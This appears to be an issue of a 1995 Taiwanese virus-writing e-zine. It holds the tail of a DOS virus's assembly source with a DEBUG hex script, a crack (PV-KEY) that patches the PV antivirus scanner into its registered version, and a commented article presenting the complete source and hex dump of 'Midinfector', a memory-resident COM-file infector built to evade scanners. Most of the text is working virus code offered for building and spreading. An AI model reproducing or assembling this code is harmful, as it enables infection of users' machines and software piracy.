pop word ptr es:[00a8h]
pop word ptr es:[0252h] ; Change Int 94h
pop word ptr es:[0250h]
pop es
pop ds
popa
popf
jmp dword ptr cs:oldint21h
newint21h endp
newint2ah proc far
iret
newint2ah endp
newint24h proc far
xor al,al
iret
newint24h endp
newint94h proc near
iret
newint94h endp
callint21h proc near
call trace_off
pushf
cli
call dword ptr cs:entint21h
ret
callint21h endp
callout21h proc near
call trace_off
pushf
cli
call dword ptr cs:outint21h
ret
callout21h endp
seek proc near
mov ah,42h
xor cx,cx
cwd
call callout21h
ret
seek endp
trace_off proc near
push ax
pushf
pop ax
and ah,0feh
push ax
mov ax,ss
mov ss,ax
db 0f0h ; lock = 0f0h
popf
pop ax
ret
trace_off endp
vir_end:
vir_size equ offset vir_end-offset vir_start
vir_para equ (vir_size+000fh)/10h
flavour11 ends
end vir_start
;=============================================================================
======================================================
N FLAVOUR4.COM
E 0100 E8 00 00 5E 81 EE 03 00 B4 2A CD 21 81 FA 09 09
E 0110 75 0B B4 09 8D 94 3B 01 CD 21 FA EB FD B8 00 8F
E 0120 CD 21 3D 8F 00 75 0F 81 C6 26 01 BF 00 01 16 57
E 0130 FC A5 A5 16 1F CB 33 FF B4 52 CD 21 26 8B 5F FE
E 0140 8E C3 26 03 5D 03 43 26 80 3D 5A 75 F3 8C C0 8E
E 0150 C3 26 80 3D 4D 74 04 8E C0 EB 0D 8E C3 26 03 5D
E 0160 03 43 26 80 3D 4D 74 F3 26 81 6D 03 39 00 26 8B
E 0170 45 03 8C C1 03 C1 40 8E C0 50 68 84 00 FC B9 8F
E 0180 03 F3 A4 CB FA 8E D9 B8 C9 01 87 06 84 00 2E A3
E 0190 2E 01 2E A3 36 01 8C C8 87 06 86 00 2E A3 30 01
E 01A0 2E A3 38 01 E8 09 00 16 07 0E 1F 33 F6 E9 77 FF
E 01B0 9C 60 06 2E C6 06 3A 01 00 B4 52 CD 21 FC B0 90
E 01C0 B9 80 FF 33 FF F2 AE E3 59 AE 75 F9 26 81 3D E8
E 01D0 CC 75 F2 26 81 7D 02 00 2E 75 EA 26 81 7D 04 FF
E 01E0 2E 75 E2 26 8B 7D 06 26 C4 3D 2E 89 3E 36 01 2E
E 01F0 8C 06 38 01 B0 8C B9 80 FF 2B CF F2 AE E3 23 26
E 0200 81 3D D8 2E 75 F5 26 81 7D 02 8E 1E 75 ED 26 81
E 0210 7D 04 E7 3D 75 E5 47 2E 89 3E 36 01 2E C6 06 3A
E 0220 01 01 07 61 9D C3 CD 20 00 00 F0 E9 00 00 00 00
E 0230 00 00 00 00 00 00 00 00 00 00 00 48 65 6C 6C 6F
E 0240 20 21 21 0D 0A 20 20 49 20 61 6D 20 5B 46 6C 61
E 0250 76 6F 75 72 20 56 31 2E 33 E1 5D 20 42 79 20 44
E 0260 61 72 6B 20 4B 69 6C 6C 65 72 20 2E 2E 2E 0D 0A
E 0270 20 20 20 20 61 74 20 54 61 69 77 61 6E 20 50 6F
E 0280 77 65 72 20 56 69 72 75 73 20 4F 72 67 61 6E 69
E 0290 7A 61 74 69 6F 6E 20 21 21 0D 0A 0D 0A 20 20 20
E 02A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 02B0 20 20 20 20 20 20 20 20 20 20 20 20 31 39 39 35
E 02C0 2F 30 37 2F 30 36 0D 0A 24 E8 B4 01 9C 3D 00 8F
E 02D0 74 1A 80 FC 3D 74 19 80 FC 43 74 14 80 FC 4B 74
E 02E0 41 80 FC 56 74 0A 9D 2E FF 2E 2E 01 86 E0 9D CF
E 02F0 60 8B F2 FC AC 0A C0 74 22 3C 2E 75 F7 AC 3C 43
E 0300 74 04 3C 63 75 15 AC 3C 4F 74 04 3C 6F 75 0C AC
E 0310 3C 4D 74 04 3C 6D 75 03 61 EB 07 61 9D 2E FF 2E
E 0320 2E 01 60 1E 06 FA 6A 00 07 26 FF 36 50 02 26 FF
E 0330 36 52 02 26 C7 06 50 02 4E 03 26 8C 0E 52 02 26
E 0340 FF 36 A8 00 2E 8F 06 32 01 26 FF 36 AA 00 2E 8F
E 0350 06 34 01 26 C7 06 A8 00 2F 03 26 8C 0E AA 00 26
E 0360 FF 36 90 00 26 FF 36 92 00 26 C7 06 90 00 4B 03
E 0370 26 8C 0E 92 00 B8 00 3D E8 D4 00 72 7D 93 53 B8
E 0380 20 12 CD 2F B8 16 12 32 FF 26 8A 1D CD 2F 5B 26
E 0390 C6 45 02 02 26 8A 45 04 26 C6 45 04 00 50 26 80
E 03A0 4D 06 40 0E 1F B4 3F B9 04 00 BA 26 01 E8 9F 00
E 03B0 2E 81 3E 26 01 F0 E9 74 37 2E 81 3E 26 01 4D 5A
E 03C0 74 2E B0 02 E8 B0 00 0B D2 75 25 0A C0 74 21 83
E 03D0 E8 04 2E A3 2C 01 B4 40 B9 8F 03 BA 00 00 E8 6E
E 03E0 00 32 C0 E8 91 00 B4 40 B1 04 BA 2A 01 E8 5F 00
E 03F0 58 26 88 45 04 B4 3E E8 55 00 6A 00 07 FA 26 8F
E 0400 06 92 00 26 8F 06 90 00 2E FF 36 34 01 26 8F 06
E 0410 AA 00 2E FF 36 32 01 26 8F 06 A8 00 26 8F 06 52
E 0420 02 26 8F 06 50 02 07 1F 61 9D 2E FF 2E 2E 01 9C
E 0430 80 FC 82 74 06 9D 2E FF 2E 2E 01 53 B3 60 E8 3F
E 0440 00 9C FA 2E FF 1E 32 01 5B 9D CF 32 C0 CF CF E8
E 0450 2E 00 9C FA 0E 68 76 03 2E 80 3E 3A 01 00 74 0B
E 0460 06 1E 55 57 56 52 51 53 50 8C D8 2E FF 36 38 01
E 0470 2E FF 36 36 01 CB C3 B4 42 33 C9 99 E8 D0 FF C3
E 0480 50 9C 58 80 E4 FE 50 8C D0 8E D0 F0 9D 58 C3
RCX
38F
W
Q
======================================================
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   PTAV 注册器   Vo
pT OT
VP by Zhuge Jin VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

Hi!大家好!我是猪哥!现在我要推出一个新玩意!这个就是 PTAV 注册器?相信
大家还记得从前有个人想将 PV 的威力展现给大家吧!可是为什么不丢呢?原因丢
了之后就不能捞一笔了!而且也对不起他的爱用户!但... 如果由我来干的话,至
少第二项应该不会有问题吧!喝!;_)
在 PTAV 的测试版与注册版之间并没有很大的差异,只是在 .COD 的前 E0h 的部份
编码不同所致!因此将测试版的编码值改掉就可以用了!而且只要将 PVSCAN.COM
改成 PVCLEAN.COM 或 PVTSR.COM 就能享用他的解毒功能咧!嘻!真方便!PF 啊!
真谢谢『您』!谢谢您写一个那么好的东东那我们用!以后解毒就不用我烦心罗!
其实写这些东西跟本就跟搞破解一般,所以我用不著留情!到是你的东东有如传言
中的那么好那么棒吗?嘻!留给大家去评论吧!
由于我写的很匆促,有些功能并不是很好!因此大家见谅罗!;_)
请将测试版的 PVSCAN.COM 拷到现行目录的 PVSCAN.ORG!
然后执行 PV-KEY.COM![TAB] 作切换![ESC] 存档!其它细节去研究原始程式吧
!喔!我很变态吗?
请用 MASM pv-key;
LINK pv-key;
EXE2BIN pv-key pv-key.com
注意!使用的外挂模组最好是在 PVCOD v2.1 之前...
;
; PV-KEY v1.0 Written by Zhuge Jin at TPVO, 1995.
; (C) Copyright TPVO, 1995.
;
.MODEL SMALL
.CODE
org 0100h
begin:
mov ax,0600h
mov bx,0700h
xor cx,cx
mov dx,184fh
int 10h
call print_scr
mov ah,02h
xor bx,bx
mov dx,091fh
int 10h
mov si,OFFSET eng_buf
key_loop:
mov bp,OFFSET eng_buf+03h
mov ax,1300h
mov bx,0070h
xor cx,cx
mov cl,cs:eng_buf
mov dx,091fh
int 10h
mov bp,OFFSET chi_buf+03h
mov ax,1300h
mov bx,0070h
xor cx,cx
mov cl,cs:chi_buf
mov dx,0b1fh
int 10h
call get_key
cmp ah,01h
jz exit
call key_proc
jmp key_loop
exit:
mov ax,3d00h
mov dx,OFFSET file_name
int 21h
xchg ax,bx
mov ah,3fh
mov cx,1663
mov dx,OFFSET buffer
int 21h
push bx
mov si,OFFSET buffer+0621h
mov word ptr ds:[si],0d4e1h
mov cx,24/2
mov si,OFFSET eng_buf+03h
mov di,OFFSET buffer+01d8h
xor_a1:
lodsw
xor ax,1c3ch
stosw
loop xor_a1
mov cx,20/2
mov si,OFFSET chi_buf+03h
mov di,OFFSET buffer+0330h
xor_a2:
lodsw
xor ax,169fh
stosw
loop xor_a2
mov ah,3ch
mov cx,0020h
mov dx,OFFSET pvscan
int 21h
xchg ax,bx
mov ah,40h
mov cx,1663
mov dx,OFFSET buffer
int 21h
mov ah,3eh
int 21h
pop bx
mov ah,3eh
int 21h
mov ax,0600h
mov bx,0700h
xor cx,cx
mov dx,184fh
int 10h
mov ah,02h
xor dx,dx
int 10h
mov ax,4c00h
int 21h
print_scr:
mov dx,050dh
mov bp,OFFSET version
ps_a:
mov ax,1300h
mov bx,0007h
mov cx,0032h
int 10h
add bp,cx
inc dh
cmp dh,0bh+05h
jb ps_a
ret
get_key:
xor ax,ax
int 16h
ret
key_proc:
push ax
mov ah,03h
xor bx,bx
int 10h
pop ax
cmp ah,0fh
jnz kp_a1
cmp si,OFFSET eng_buf
jnz kp_ab
mov si,OFFSET chi_buf
mov dh,0bh
jmp kp_a1
kp_ab:
mov si,OFFSET eng_buf
mov dh,09h
kp_a1:
mov bx,ds:[si+01h]
cmp al,20h
jae kp_a2
cmp ah,4bh
jnz kp_a1b1
dec bx
jmp kp_ext
kp_a1b1:
cmp ah,4dh
jnz kp_ext
inc bx
jmp kp_ext
kp_a2:
call chk_range
mov ds:[bx+si+03h],al
inc bx
kp_ext:
call chk_range
mov ds:[si+01h],bx
mov ah,02h
xor bx,bx
mov dl,cs:[si+01h]
add dl,1fh
int 10h
ret
chk_range:
cmp bl,0ffh
jnz cr_a
mov bl,ds:[si]
dec bx
jmp cr_ext
cr_a:
cmp bl,ds:[si]
jb cr_ext
xor bx,bx
cr_ext:
mov bh,00h
ret
eng_buf db 17h,00h,00h,'Register : Zhuge Jin '
chi_buf db 14h,00h,00h,'注册者:诸葛  大哥!'
file_name db 'PVSCAN.ORG',00h
pvscan db 'PVSCAN.COM',00h
version db '┌───────────────────────┐'
db '│ PV Key v1.0 By Zhuge Jin at TPVO. │'
db '│----------------------------------------------│'
db '│ │'
db '│ English Name : _______________________ │'
db '│ │'
db '│ Chinese Name : ____________________ │'
db '│ │'
db '│----------------------------------------------│'
db '│(C) Copyright TPVO, 1995. All rights reserved.│'
db '└───────────────────────┘'
buffer db 1000h dup(?)
END begin
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   Midinfector Virus   Vo
pT OT
VP by Dark Slayer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

嗯!大家一定都认为分析程式码 (甚至模拟) 是防毒程式的专利吧?其实
这样好玩的东西也可以应用在病毒上的,本篇文章的毒就是我利用分析程
式码的功能所写出来的毒... 嘿... 看到这边你可能会感到有点疑惑,不
知道我在讲什么东西... ok!我用简单的程式来解释...
假设有一个三行的程式如下:
mov ax,1234h
mov bx,5678h
int 20h
而一般病毒要感染档案的方法,最常用的就是在开头放个 jmp xxxx ,跳
到接在档尾的病毒程式,如下:
jmp vir_start ; mov ax,1234h 被盖掉了
mov bx,5678h
int 20h
vir_start:
病毒程式
.
.
但是... 当这个档案被此毒感染过后将会是如下面的样子...
mov ax,1234h
mov bx,5678h
jmp vir_start ; int 20h 被盖掉了
vir_start:
病毒程式
.
.
这时候就有人会问:「这样感染有何好处?」,嗯... 好像没有,啊...
我想到了,这样能造成解毒上的困扰,嘻... 因为凡是不寻常的、不照往
例的、special 的毒大部份的人工智慧扫/解 毒程式都扫不出来、解不掉
,而且写出与众不同的毒一直是我长久以来的原则... so... kill me :)
;======================= Begin of midinf.asm ================================
vir_size equ (offset vir_end-offset start)
mem_size equ (offset mem_end-offset start)
mem_para equ (mem_size+0fh)/10h
.model tiny
.code
org 0
start: pushf ; 储存所有暂存器及旗标, 因为此毒是在被感染的
cld ; 程式执行过一些指令后才取得控制权的, 为了不
push ax bx cx dx si di bp ds es ; 影响被感染程式的执行
call delta ; 重定位, 取得自身的 offset
delta: pop si
sub si,offset delta-offset start
push si ; 存起来, 等一下还要用
mov ax,1888h
int 21h ; TSR check
cmp ax,'MI' ; 检查此毒是否常驻?
je jmp_to_host ; 执行原程式
mov ah,4ah
mov bx,0ffffh
int 21h ; 取得目前记忆体最大的 para
mov ah,4ah
sub bx,mem_para+1 ; 减去病毒所需
int 21h ; 修改记忆体大小, 空出一个空间
jc jmp_to_host ; 错误就不常驻
xor di,di
sub word ptr ds:[di+2],mem_para+1 ; 修改 psp:[2]
mov ax,ds
dec ax ; ax = ds - 1 = MCB segment
mov ds,ax ; ds = MCB segment
add ax,ds:mcb_para_size[di] ; 计算出紧接著下一个 MCB 的位址
inc ax
mov ds,ax ; ds = 病毒常驻所在的 MCB
or word ptr ds:mcb_onwer_seg[di],8 ; 改此 MCB 为系统所拥有
inc ax
mov es,ax
mov cx,vir_size
rep movs byte ptr es:[di],cs:[si] ; 搬家... 常驻于此
mov ds,cx ; rep movsb 后 ds = cx = 0
mov ax,offset vir_int21 ; 修改 int 21h 中断向量
xchg ax,ds:[21h*4]
stosw
mov ax,es
xchg ax,ds:[21h*4+2]
stosw
jmp_to_host: pop si ; 取出自身的 offset
add si,offset host_code ; 指令原程式码资料
push cs cs ; ds = es = cs = psp segment
pop ds es ; 因为是 com 档
mov ax,0 ; ax 指向原档案被修改的地方
org $-2
host_addr dw 0
add ax,100h
mov di,ax
sub ax,si ; 计算出此毒要跳回原程式的目的
; 地位址
mov ds:jmp_disp-host_code[si],ax ; 储存在 0e9h (jmp) 机
; 械码之后
jmp $+2 ; 清除 CPU 储列
movsb ; 恢复原程式内容
movsw
pop es ds bp di si dx cx bx ax ; 取回暂存器值
popf
db 0e9h ; jmp near xxxx 去执行原程式
jmp_disp dw ?
host_code db 0cdh,20h,?
msg db ' MidInfector by Dark Slayer of [TPVO] '
infect: ; ds:dx = file name
mov si,dx
cld
il1: lodsb ; 搜寻档名最后面的 0
or al,al
jnz il1
cmp byte ptr ds:[si-5],'.' ; ─┐
jne infect_exit ; │
mov ax,ds:[si-5+1] ; │
and ax,not 2020h ; │
cmp ax,'OC' ; ├─ 比较是否为 .COM??
jne infect_exit ; │ 不是就不感染
mov al,ds:[si-5+3] ; │
and al,not 20h ; │
cmp al,'M' ; │
jne infect_exit ; ─┘
mov ah,48h
mov bx,1000h
int 21h ; 配置 64k 记忆体
jc infect_exit ; 有错误!!! 离开
push ax
mov ax,3d02h
int 21h ; 开档
jc free_mem ; 有错误!!! 离开
xchg bx,ax
pop ds
push ds
mov ah,3fh
mov cx,0f000h
cwd
int 21h ; 读取此 .COM 档整个程式码
jc close ; 有错误!!! 离开
cmp ax,cx ; 档案太大??
je close ; 超过 0f000h 的 COM 档不感染
xchg cx,ax ; cx = ax = 档案常度
xor si,si
mov ax,ds:[si] ; 取档案前 2 bytes
xor al,ah
cmp al,'M' xor 'Z' ; EXE??
je close ; 不感染 EXE 档
push bx ; 存 bx (档案代码)
call unasm ; 分析程式码
pop bx ; 取回档案代码
push cx ; cx = 感染后的程式码大小
mov ax,4200h
xor cx,cx
cwd
int 21h ; 读写指标移至档案开头
pop cx ; 取回程式码大小
mov ah,40h
int 21h ; 写回档案
close: mov ah,3eh
int 21h ; 关档
free_mem: mov ah,49h
pop es
int 21h ; 释放所配置的 64k 记忆体
infect_exit: ret

unasm: ; si = 分析指标 (指向目前要分析的程式码偏移)
; cx = 原档案长度
push si ; 储存目前的分析指标
call ual0 ; 分析程式码, 并传回"检查"副程式的号码
push ax ; ah = 副程式号码
mov al,ah
cbw
shl ax,1
xchg di,ax
pop ax
call word ptr cs:proc_table[di] ; call 此副程式
pop ax ; ax = 取出分析指标
jc uaerr ; cf = 1, 表示遇到不懂的指令, 不再继续
; 分析
cmp si,cx ; si >= cx?? (检查是否超过范围)
jb unasm ; 没有的话, 继续...
uaerr: mov cs:host_addr,ax ; 储存分析指标的位址
xchg si,ax ; si = ax
mov al,0e9h ; al = 0e9h = jmp near 的指令码
xchg al,ds:[si] ; 将要感染的程式码改为 jmp
mov cs:host_code,al ; 储存原程式码
mov ax,cx ; ax = cx = 感染前的档案长度
sub ax,si
sub ax,3 ; 算出接在 0e9h 后的值
xchg ax,ds:[si+1] ; 修改原程式
mov word ptr cs:host_code[1],ax ; 储存原程式码
mov di,cx ; di = cx = 档案长度
push ds
pop es
xor si,si
mov cx,vir_size
rep movs byte ptr es:[di],cs:[si] ; 将病毒码搬过去
mov cx,di ; cx = 感染后的程式码大小
ret
ual0: mov ah,3 ; 假设先使用 proc3
lodsb ; 取程式码
test al,11000100b
; add/or/adc/sbb/and/sub/xor/cmp reg,reg??
jnz ual1
mov ah,0 ; 若是则用 proc0
ret
ual1: test al,11000010b
; add/or/adc/sbb/and/sub/xor/cmp al/ax,xxxx??
jnz ual2
test al,00000100b
jz ual2
mov ah,1 ; 若是则用 proc1
ret
ual2: test al,11100000b ; push/pop segment reg??
jnz ual3
push ax
and al,00000110b
cmp al,00000110b
pop ax
jne ual3
mov ah,2 ; 若是则用 proc2
ret
ual3: test al,11000001b ; es:/cs:/ss:/ds ??
jnz ual4
push ax
and al,00100110b
cmp al,00100110b
pop ax
je ual4_1 ; 若是则 ret (使用一开始设的 proc3)
ual4: cmp al,61h ; daa/das/aaa/aas inc/dec/push/pop reg16
; pusha/popa ???
ja ual5
mov ah,4 ; 若是则用 proc4
ual4_1: ret
ual5: cmp al,68h ; bound/arpl/fs:/gs:/op size:/addr size: ??
jb ual4_1 ; 若是则用 proc3
ual6: jne ual7 ; push xxxx (unsigned) ???
mov ah,4 ; 若是则用 proc4
inc si ; 且将指标 + 2
inc si
ret
ual7: cmp al,6ah ; imul reg16,reg16/mem,xxxx (unsigned) ??
jae ual8
mov ah,6 ; 若是则用 proc6
ret
ual8: jne ual9 ; push xx (signed) ??
mov ah,4 ; 若是则用 proc3
inc si ; 且将指标 + 1
ret
ual9: cmp al,6bh ; imul reg16,reg16/mem,xx (signed) ??
jne ual10
mov ah,5 ; 若是则用 proc5
ret
ual10: cmp al,80h ; insb/insw/outsb/outsw/jxx ??
jb ual4_1 ; 若是则 ret (使用一开始设的 proc3)
ual11: jne ual12
; add/or/adc/sbb/and/sub/xor/cmp reg8/mem8,xx ??
mov ah,5 ; 若是则用 proc5
ret
ual12: cmp al,81h
; add/or/adc/sbb/and/sub/xor/cmp reg16/mem16,xxxx ??
jne ual13
mov ah,6 ; 若是则用 proc6
ret
ual13: cmp al,83h
; add/or/adc/sbb/and/sub/xor/cmp reg8/mem8,xx or
; add/or/adc/sbb/and/sub/xor/cmp reg16/mem16,xx (signed) ??
ja ual14
mov ah,5 ; 若是则用 proc5
ret
ual14: cmp al,8dh ; test/xchg/mov reg/mem(8/16),reg/mem(8/16) or
; mov reg/mem,segment reg??
jae ual15
mov ah,0 ; 若是则用 proc0
ret
ual15: je ual4_1 ; lea reg,[xxxx]/[reg]/[reg+xxxx]???
; 若是则 ret (使用一开始设的 proc3)
ual16: cmp al,8fh ; mov segment reg,reg/mem??
jae ual17
mov ah,0 ; 若是则用 proc0
ret
ual17: jne ual18 ; push reg/mem??
mov ah,0 ; 若是则用 proc0
ret
ual18: cmp al,9ah ; nop/xchg reg,ax/cbw/cwd ??
jae ual19
mov ah,4 ; 若是则用 proc4
ret
ual19: je ual4_1 ; call far xxxx:xxxx ??
; 若是则 ret (使用一开始设的 proc3)
ual20: cmp al,0a0h ; wait/pushf/popf/sahf/lahf ??
jae ual21
mov ah,4 ; 若是则用 proc4
ret
ual21: cmp al,0a8h ; mov al/ax,[xxxx] or mov [xxxx],al/ax
; or movsb/movsw/cmpsb/cmpsw ??
jb ual4_1 ; 若是则 ret (使用一开始设的 proc3)
ual22: cmp al,0aah ; test al/ax,xx/xxxx ??
jae ual23
mov ah,1 ; 若是则用 proc1
ret
ual23: cmp al,0b0h ; stosb/stosw/lodsb/lodsw/scasb/scasw ?
jb ual4_1 ; 若是则 ret (使用一开始设的 proc3)
ual24: cmp al,0b8h ; mov reg8,xx ??
jae ual25
mov ah,4 ; 若是则使用 proc4
inc si ; 且把指标 + 1
ret
ual25: cmp al,0c0h ; mov reg16,xxxx ??
jae ual26
mov ah,4 ; 若是则使用 proc4
inc si ; 且把指标 + 2
inc si
ret
ual26: cmp al,0c2h ; rol/r/rcl/r/shl/r/sar reg/mem(8/16),xx ??
jae ual27
mov ah,5 ; 若是则用 proc5
ual26_1: ret
ual27: cmp al,0cch
jb ual26_1 ; retn xxxx/retn les/lds reg,mem
; mov reg8/reg16,xx/xxxx
; enter/leave/retf xxxx/retf ??
; 若是则 ret (使用一开始设的 proc3)
ual27_1: jne ual27_2 ; int 3 ??
mov ah,4 ; 若是则使用 proc4
ret
ual27_2: cmp al,0ceh ; int xx ??
jb ual26_1 ; 若是则 ret (使用一开始设的 proc3)
ual27_3: jne ual27_4 ; into ??
mov ah,4 ; 若是则使用 proc4
ret
ual27_4: cmp al,0d0h ; iret?
jb ual26_1 ; 若是则 ret (使用一开始设的 proc3)
ual28: cmp al,0d4h ; rol/r/rcl/r/shl/r/sar reg/mem(8/16),1/cl ??
jae ual29
mov ah,0 ; 若是则使用 proc0
ret
ual29: cmp al,0e4h ; aam/aad/setatc/xlat/esc 0~7/loopne
; loope/loop/jcxz ??
jb ual26_1 ; 若是则 ret (使用一开始设的 proc3)
ual30: cmp al,0e8h ; in/out al/ax,xx ??
jae ual31
mov ah,4 ; 若是则使用 proc4
inc si ; 且将指标 + 1
ret
ual31: cmp al,0eah ; call/jmp near xxxx ??
jae ual32
lodsw ; 若是则计算跳跃的目的位址
add si,ax ; 更新指标值
mov ah,4 ; 使用 proc4
ret
ual32: je ual26_1 ; jmp far xxxx:xxxx ??
; 若是则 ret (使用一开始设的 proc3)
ual33: cmp al,0ech ; jmp short xx ??
jae ual34
lodsb ; 若是则计算跳跃的目的位址
cbw
add si,ax ; 更新指标值
mov ah,4 ; 使用 proc4
ret
ual34: cmp al,0f0h ; in/out al/ax,dx
jae ual35
mov ah,4 ; 若是则使用 proc4
inc si ; 且将指标 + 1
ret
ual35: jne ual36 ; lock ??
ual35_1: jmp ual0 ; 由于 lock 有和下一个指令连在一起执
; 行的性质, 所以跳至 ual0 取下个指令
; 来分析
ual36: cmp al,0f2h ; icebp ??
jae ual37
mov ah,4 ; 若是则使用 proc4
ret
ual37: cmp al,0f4h ; repne/repe ??
jb ual35_1 ; 若是则跳至 ual0, 和 lock 的道理一样
cmp al,0f6h ; hlt/cmc ??
jae ual38
mov ah,4 ; 若是则使用 proc4
ret
ual38: cmp al,0f8h ; test/not/neg/mul/imul/div/idiv ??
jae ual42
mov al,ds:[si]
push ax
and al,00111000b
cmp al,00001000b ; test ??
jbe ual40 ; 是则 jmp
cmp al,00110000b ; div/idiv ??
pop ax
jb ual39 ; 不是则 jmp (not/neg/mul/imul)
ret ; 若是则 ret (使用一开始设的 proc3)
ual39: mov ah,0 ; 使用 proc0
ret
ual40: pop ax
test al,1 ; test reg8,xx or test reg16,xxxx ??
jnz ual41 ; 若为 word 则 jmp
mov ah,5 ; 若是 byte 则用 proc5
ret
ual41: mov ah,6 ; 若是 word 则用 proc6
ret
ual42: cmp al,0feh ; clc/stc/cli/sti/cld/std ??
jae ual43
mov ah,4 ; 若是则使用 proc4
ual43: ret ; 否则 ret (用一始设的 proc3)
; "检查" 副程式的表格, 这些副程式若传回 cf = 1 则表示遇到不合格的指令, 不要再
; 分析了...
proc_table dw proc0,proc1,proc2,proc3,proc4,proc5,proc6
proc0: lodsb ; 副程式 0: 检查是否为暂存器
and al,0c0h
cmp al,0c0h
je proc0_ok
proc3: stc ; 副程式 3: 判死刑了, 什么都不简查
; 就不分析
proc0_ok: ret
proc1: inc si ; 副程式 1: 若为存取 word 的指令则将
test al,1 ; 指标 + 1
jz proc1_byte
inc si
proc1_byte: ret
proc2: cmp al,0fh ; 副程式 2: 比较是否为 0fh 开头的指令,
jne proc2_ok ; 若是则不分析
stc
mov al,0
org $-1
proc4: ; 副程式 4: 无条件通过这个指令
proc2_ok: clc
ret
proc5: call proc0 ; 副程式 5: 检查是否为暂存器, 然后将
jc proc5_err ; 指标 + 1
inc si
proc5_err: ret
proc6: call proc0 ; 副程式 6: 检查是否为暂存器, 然后将
jc proc6_err ; 指标 + 2
inc si
inc si
proc6_err: ret
vir_int21: pushf
cmp ax,1888h ; TSR check?
jne not_me
popf
mov ax,'MI' ; 告诉同伴, 我已经常驻了
iret
not_me: cmp ax,4b00h ; 执行档案??
jne vir_int21_exit
push ax bx cx dx si di bp ds es
call infect ; 感染此档
pop es ds bp di si dx cx bx ax
vir_int21_exit: popf
db 0eah ; jmp xxxx:xxxx 跳至原 int 21h
vir_end:
old21 dw ?,?
mem_end:
mcb struc
mcb_sign db ?
mcb_onwer_seg dw ?
mcb_para_size dw ?
db 3 dup(?)
mcb_name db 8 dup(?)
mcb ends
end start
;======================= End of midinf.asm ==================================
n midinf.com
e 0100 9C FC 50 53 51 52 56 57 55 1E 06 E8 00 00 5E 83
e 0110 EE 0E 56 B8 88 18 CD 21 3D 49 4D 74 3F B4 4A BB
e 0120 FF FF CD 21 B4 4A 83 EB 31 CD 21 72 2F 33 FF 83
e 0130 6D 02 31 8C D8 48 8E D8 03 45 03 40 8E D8 83 4D
e 0140 01 08 40 8E C0 B9 F8 02 F3 2E A4 8E D9 B8 D1 02
e 0150 87 06 84 00 AB 8C C0 87 06 86 00 AB 5E 81 C6 83
e 0160 00 0E 0E 1F 07 B8 00 00 05 00 01 8B F8 2B C6 89
e 0170 44 FE EB 00 A4 A5 07 1F 5D 5F 5E 5A 59 5B 58 9D
e 0180 E9 00 00 CD 20 00 20 20 4D 69 64 49 6E 66 65 63
e 0190 74 6F 72 20 62 79 20 44 61 72 6B 20 53 6C 61 79
e 01A0 65 72 20 6F 66 20 5B 54 50 56 4F 5D 20 20 8B F2
e 01B0 FC AC 0A C0 75 FB 80 7C FB 2E 75 5D 8B 44 FC 25
e 01C0 DF DF 3D 43 4F 75 52 8A 44 FE 24 DF 3C 4D 75 49
e 01D0 B4 48 BB 00 10 CD 21 72 40 50 B8 02 3D CD 21 72
e 01E0 33 93 1F 1E B4 3F B9 00 F0 99 CD 21 72 22 3B C1
e 01F0 74 1E 91 33 F6 8B 04 32 C4 3C 17 74 13 53 E8 19
e 0200 00 5B 51 B8 00 42 33 C9 99 CD 21 59 B4 40 CD 21
e 0210 B4 3E CD 21 B4 49 07 CD 21 C3 56 E8 3E 00 50 8A
e 0220 C4 98 D1 E0 97 58 2E FF 95 9C 02 58 72 04 3B F1
e 0230 72 E8 2E A3 66 00 96 B0 E9 86 04 2E A2 83 00 8B
e 0240 C1 2B C6 2D 03 00 87 44 01 2E A3 84 00 8B F9 1E
e 0250 07 33 F6 B9 F8 02 F3 2E A4 8B CF C3 B4 03 AC A8
e 0260 C4 75 03 B4 00 C3 A8 C2 75 07 A8 04 74 03 B4 01
e 0270 C3 A8 E0 75 0B 50 24 06 3C 06 58 75 03 B4 02 C3
e 0280 A8 C1 75 08 50 24 26 3C 26 58 74 06 3C 61 77 03
e 0290 B4 04 C3 3C 68 72 FB 75 05 B4 04 46 46 C3 3C 6A
e 02A0 73 03 B4 06 C3 75 04 B4 04 46 C3 3C 6B 75 03 B4
e 02B0 05 C3 3C 80 72 DC 75 03 B4 05 C3 3C 81 75 03 B4
e 02C0 06 C3 3C 83 77 03 B4 05 C3 3C 8D 73 03 B4 00 C3
e 02D0 74 C0 3C 8F 73 03 B4 00 C3 75 03 B4 00 C3 3C 9A
e 02E0 73 03 B4 04 C3 74 AB 3C A0 73 03 B4 04 C3 3C A8
e 02F0 72 A0 3C AA 73 03 B4 01 C3 3C B0 72 95 3C B8 73
e 0300 04 B4 04 46 C3 3C C0 73 05 B4 04 46 46 C3 3C C2
e 0310 73 03 B4 05 C3 3C CC 72 FB 75 03 B4 04 C3 3C CE
e 0320 72 F2 75 03 B4 04 C3 3C D0 72 E9 3C D4 73 03 B4
e 0330 00 C3 3C E4 72 DE 3C E8 73 04 B4 04 46 C3 3C EA
e 0340 73 06 AD 03 F0 B4 04 C3 74 CA 3C EC 73 07 AC 98
e 0350 03 F0 B4 04 C3 3C F0 73 04 B4 04 46 C3 75 03 E9
e 0360 FA FE 3C F2 73 03 B4 04 C3 3C F4 72 F2 3C F6 73
e 0370 03 B4 04 C3 3C F8 73 1D 8A 04 50 24 38 3C 08 76
e 0380 09 3C 30 58 72 01 C3 B4 00 C3 58 A8 01 75 03 B4
e 0390 05 C3 B4 06 C3 3C FE 73 02 B4 04 C3 AA 02 B3 02
e 03A0 BA 02 B1 02 C0 02 C2 02 C9 02 AC 24 C0 3C C0 74
e 03B0 01 F9 C3 46 A8 01 74 01 46 C3 3C 0F 75 02 F9 B0
e 03C0 F8 C3 E8 E5 FF 72 01 46 C3 E8 DE FF 72 02 46 46
e 03D0 C3 9C 3D 88 18 75 05 9D B8 49 4D CF 3D 00 4B 75
e 03E0 15 50 53 51 52 56 57 55 1E 06 E8 C1 FD 07 1F 5D
e 03F0 5F 5E 5A 59 5B 58 9D EA
rcx
2F8
w
q
